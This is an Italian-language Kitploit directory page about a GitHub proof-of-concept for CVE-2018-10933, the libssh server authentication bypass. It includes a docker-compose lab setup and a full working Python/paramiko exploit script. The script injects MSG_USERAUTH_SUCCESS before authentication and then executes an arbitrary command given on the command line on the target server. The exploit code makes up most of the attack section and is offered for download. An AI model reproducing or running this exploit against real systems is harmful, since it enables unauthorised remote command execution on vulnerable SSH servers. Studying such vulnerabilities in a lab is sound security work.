Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Libssh-server-CVE-2018-10933 — Exploit proof-of-concept per CVE-2018-10933, che dimostra l'elusione dell'autenticazione SSH tramite iniezione di MSG_USERAUTH_SUCCESS. Include configurazione Docker e script Python per l'esecuzione remota di comandi. | Kitploit
Strumenti/GitHubGitHub/cyberharsh/libssh-server-cve-2018-10933
Analisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingAutenticazioneBinary Exploitation
GitHubcyberharsh/libssh-server-cve-2018-10933

Libssh-server-CVE-2018-10933

Exploit proof-of-concept per CVE-2018-10933, che dimostra l'elusione dell'autenticazione SSH tramite iniezione di MSG_USERAUTH_SUCCESS. Include configurazione Docker e script Python per l'esecuzione remota di comandi.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
6 anni faNon ancora revisionato

Vulnerabilità di bypass dell'autenticazione di libssh (CVE-2018-10933)

Versione cinese

libssh è una libreria C multipiattaforma che implementa il protocollo SSHv2 lato client e server. Una vulnerabilità logica è stata trovata nella macchina a stati lato server di libssh. L'attaccante può inviare il messaggio MSG_USERAUTH_SUCCESS prima che l'autenticazione abbia successo. Ciò può bypassare l'autenticazione e accedere al server SSH di destinazione.

Riferimenti:

  • https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  • https://www.seebug.org/vuldb/ssvid-97614

Configurazione

Avvia l'ambiente:

root@kitploit:~
docker-compose up -d

Dopo aver avviato l'ambiente, possiamo connetterci alla porta your-ip:2222 (account password: myuser:mypassword), che è un login ssh legale:

Exploit

Facendo riferimento al POC fornito in https://www.seebug.org/vuldb/ssvid-97614, possiamo usare il seguente script per dimostrare la vulnerabilità.

root@kitploit:~
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

Puoi eseguire comandi arbitrari sul server di destinazione come segue:

Scarica lo strumento